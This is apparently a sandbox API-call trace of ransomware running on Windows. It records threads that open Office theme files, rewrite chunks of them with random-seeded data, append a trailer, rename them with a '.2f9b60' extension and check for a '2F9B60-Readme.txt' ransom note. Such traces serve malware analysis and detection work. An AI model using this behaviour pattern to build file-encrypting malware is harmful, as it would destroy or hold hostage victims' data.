[0097.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b0470 [0097.994] wcscpy (in: _Dest=0x202b0470, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.994] wcscat (in: _Dest=0x202b0470, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.994] wcscat (in: _Dest=0x202b0470, _Source="Verve.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" [0097.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1420 [0097.995] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0097.995] wcscmp (_String1="Waveform.xml", _String2=".") returned 1 [0097.995] wcscmp (_String1="Waveform.xml", _String2="..") returned 1 [0097.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ad340 [0097.995] wcscpy (in: _Dest=0x202ad340, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" [0097.995] wcscat (in: _Dest=0x202ad340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0097.995] wcscat (in: _Dest=0x202ad340, _Source="Waveform.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" [0097.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1424 [0097.996] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0097.996] FindClose (in: hFindFile=0x1cd9d430 | out: hFindFile=0x1cd9d430) returned 1 [0097.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56560) returned 1 [0097.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bbe0) returned 1 [0097.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bd90) returned 1 Thread: id = 360 os_tid = 0xed0 [0089.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx")) returned 0x20 [0089.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx", dwFileAttributes=0x20) returned 1 [0089.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa4c [0089.573] GetFileSizeEx (in: hFile=0xa4c, lpFileSize=0x25bafb80 | out: lpFileSize=0x25bafb80*=172604) returned 1 [0089.573] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x2a238, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.574] ReadFile (in: hFile=0xa4c, lpBuffer=0x25bafb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25bafb48, lpOverlapped=0x0 | out: lpBuffer=0x25bafb00*, lpNumberOfBytesRead=0x25bafb48*=0x4, lpOverlapped=0x0) returned 1 [0089.576] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a5d0 [0089.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2d0 [0089.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.576] NtQuerySystemTime (in: CurrentTime=0x25bafa40 | out: CurrentTime=0x25bafa40*=132462176954482000) returned 0x0 [0089.576] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x3ccc9df6 [0089.576] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x3315f115 [0089.576] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x7f0c388f [0089.576] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x496895b6 [0089.576] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0xcc53dfc [0089.576] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x625a89c7 [0089.576] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x355f8ab9 [0089.576] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x4a5c0562 [0089.576] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x5681f7a6 [0089.576] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x2aee76b4 [0089.576] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x2a52f592 [0089.576] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x6c79f685 [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x1ac2c004 [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x2352239b [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x6c72cce6 [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x240a7b1b [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x1800dee2 [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x5920aab3 [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x6654744 [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x749f5889 [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0xc420856 [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x6bab4648 [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x1bc3714d [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x43086972 [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x94a1c5a [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x753940c9 [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x3fb1cead [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0xb6f784f [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x717ef602 [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x4cc031c8 [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x50dcf646 [0089.577] RtlRandomEx (in: Seed=0x25bafa30 | out: Seed=0x25bafa30) returned 0x1293a0e6 [0089.585] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.585] ReadFile (in: hFile=0xa4c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25bafaa0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x25bafaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.590] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a5d0 [0089.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a5d0) returned 1 [0089.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a5d0 [0089.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3f0) returned 1 [0089.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.590] WriteFile (in: hFile=0xa4c, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25bafaa0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x25bafaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.595] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.595] ReadFile (in: hFile=0xa4c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25bafaa0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x25bafaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.607] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3f0) returned 1 [0089.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea8940 [0089.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a540 [0089.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a540) returned 1 [0089.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.608] WriteFile (in: hFile=0xa4c, lpBuffer=0x1cea8940*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25bafaa0, lpOverlapped=0x0 | out: lpBuffer=0x1cea8940*, lpNumberOfBytesWritten=0x25bafaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea8940) returned 1 [0089.611] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x2663c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.611] ReadFile (in: hFile=0xa4c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25bafaa0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x25bafaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.613] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x2663c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0089.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a300) returned 1 [0089.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0089.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0089.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4e0) returned 1 [0089.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.614] WriteFile (in: hFile=0xa4c, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25bafaa0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x25bafaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f00 [0089.621] SetFilePointerEx (in: hFile=0xa4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.621] WriteFile (in: hFile=0xa4c, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x25bafb50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x25bafb50*=0x144, lpOverlapped=0x0) returned 1 [0089.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a480 [0089.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a480) returned 1 [0089.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0089.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a480 [0089.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a390) returned 1 [0089.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b85a390 [0089.623] sprintf (in: _Dest=0x1b85a390, _Format="%c%c" | out: _Dest="5d") returned 2 [0089.623] sprintf (in: _Dest=0x1b85a392, _Format="%c%c" | out: _Dest="3c") returned 2 [0089.623] sprintf (in: _Dest=0x1b85a394, _Format="%c%c" | out: _Dest="ce") returned 2 [0089.623] sprintf (in: _Dest=0x1b85a396, _Format="%c%c" | out: _Dest="29") returned 2 [0089.623] sprintf (in: _Dest=0x1b85a398, _Format="%c%c" | out: _Dest="ce") returned 2 [0089.623] sprintf (in: _Dest=0x1b85a39a, _Format="%c%c" | out: _Dest="09") returned 2 [0089.623] sprintf (in: _Dest=0x1b85a39c, _Format="%c%c" | out: _Dest="07") returned 2 [0089.623] sprintf (in: _Dest=0x1b85a39e, _Format="%c%c" | out: _Dest="5f") returned 2 [0089.623] sprintf (in: _Dest=0x1b85a3a0, _Format="%c%c" | out: _Dest="91") returned 2 [0089.624] sprintf (in: _Dest=0x1b85a3a2, _Format="%c%c" | out: _Dest="f7") returned 2 [0089.624] sprintf (in: _Dest=0x1b85a3a4, _Format="%c%c" | out: _Dest="5e") returned 2 [0089.624] sprintf (in: _Dest=0x1b85a3a6, _Format="%c%c" | out: _Dest="62") returned 2 [0089.624] sprintf (in: _Dest=0x1b85a3a8, _Format="%c%c" | out: _Dest="27") returned 2 [0089.624] sprintf (in: _Dest=0x1b85a3aa, _Format="%c%c" | out: _Dest="9e") returned 2 [0089.624] sprintf (in: _Dest=0x1b85a3ac, _Format="%c%c" | out: _Dest="67") returned 2 [0089.624] sprintf (in: _Dest=0x1b85a3ae, _Format="%c%c" | out: _Dest="01") returned 2 [0089.624] sprintf (in: _Dest=0x1b85a3b0, _Format="%c%c" | out: _Dest="ed") returned 2 [0089.624] sprintf (in: _Dest=0x1b85a3b2, _Format="%c%c" | out: _Dest="b8") returned 2 [0089.624] RtlInitAnsiString (in: DestinationString=0x25bafbc8, SourceString="5d3cce29ce09075f91f75e62279e6701edb8" | out: DestinationString="5d3cce29ce09075f91f75e62279e6701edb8") [0089.624] RtlAnsiStringToUnicodeString (in: DestinationString=0x25bafb98, SourceString="5d3cce29ce09075f91f75e62279e6701edb8", AllocateDestinationString=1 | out: DestinationString="5d3cce29ce09075f91f75e62279e6701edb8") returned 0x0 [0089.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d490 [0089.624] wcscat (in: _Dest=0x1b7ad160, _Source="5d3cce29c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\5d3cce29c") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\5d3cce29c" [0089.624] wcscat (in: _Dest=0x1b7ad160, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\5d3cce29c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\5d3cce29c.2f9b60" [0089.624] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\5d3cce29c.2f9b60", NtPathName=0x25bafb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\5d3cce29c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106e80 [0089.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0089.628] NtQueryInformationFile (in: FileHandle=0xa4c, IoStatusBlock=0x25bafbd8, FileInformation=0x25bafbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25bafbd8, FileInformation=0x25bafbe8) returned 0x0 [0089.628] NtSetInformationFile (FileHandle=0xa4c, IoStatusBlock=0x25bafbd8, FileInformation=0x25bafbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad160) returned 1 [0089.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d490) returned 1 [0089.630] FlushFileBuffers (hFile=0xa4c) returned 1 [0089.634] CloseHandle (hObject=0xa4c) returned 1 [0089.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad160 [0089.635] wcscpy (in: _Dest=0x1b7ad160, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.635] wcscat (in: _Dest=0x1b7ad160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad160) returned 1 [0089.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85be20) returned 1 Thread: id = 361 os_tid = 0xed4 [0089.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx")) returned 0x20 [0089.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx", dwFileAttributes=0x20) returned 1 [0089.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa50 [0089.593] GetFileSizeEx (in: hFile=0xa50, lpFileSize=0x25ccf880 | out: lpFileSize=0x25ccf880*=64624) returned 1 [0089.593] SetFilePointerEx (in: hFile=0xa50, liDistanceToMove=0xfc6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.593] ReadFile (in: hFile=0xa50, lpBuffer=0x25ccf800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25ccf848, lpOverlapped=0x0 | out: lpBuffer=0x25ccf800*, lpNumberOfBytesRead=0x25ccf848*=0x4, lpOverlapped=0x0) returned 1 [0089.595] SetFilePointerEx (in: hFile=0xa50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4b0 [0089.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a540 [0089.596] NtQuerySystemTime (in: CurrentTime=0x25ccf740 | out: CurrentTime=0x25ccf740*=132462176954638000) returned 0x0 [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x45879ed5 [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x26f14f76 [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0xc8487d [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x399ce46f [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x447eee40 [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x558065e4 [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x291711fd [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x2fb95e38 [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x1a7c7fa9 [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x1c76d4c0 [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x7553578d [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x27671fde [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x57f7791 [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0xce0fcfb [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x6df50ea4 [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x4f28de4d [0089.596] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x72f7efed [0089.597] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x73811f02 [0089.597] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x3fe83e79 [0089.597] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0xec57a6f [0089.597] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x2fef427 [0089.597] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x30a58da9 [0089.597] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x61ef15c1 [0089.597] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x15c78632 [0089.597] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x711514b [0089.597] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x4478f5c5 [0089.597] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x6446ce58 [0089.597] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x1d2c9f90 [0089.597] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x7ecbbada [0089.597] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x383ab9a2 [0089.597] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0x58c49404 [0089.597] RtlRandomEx (in: Seed=0x25ccf730 | out: Seed=0x25ccf730) returned 0xe2d563 [0089.606] SetFilePointerEx (in: hFile=0xa50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.606] ReadFile (in: hFile=0xa50, lpBuffer=0x1cea4d30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25ccf7a0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesRead=0x25ccf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.608] 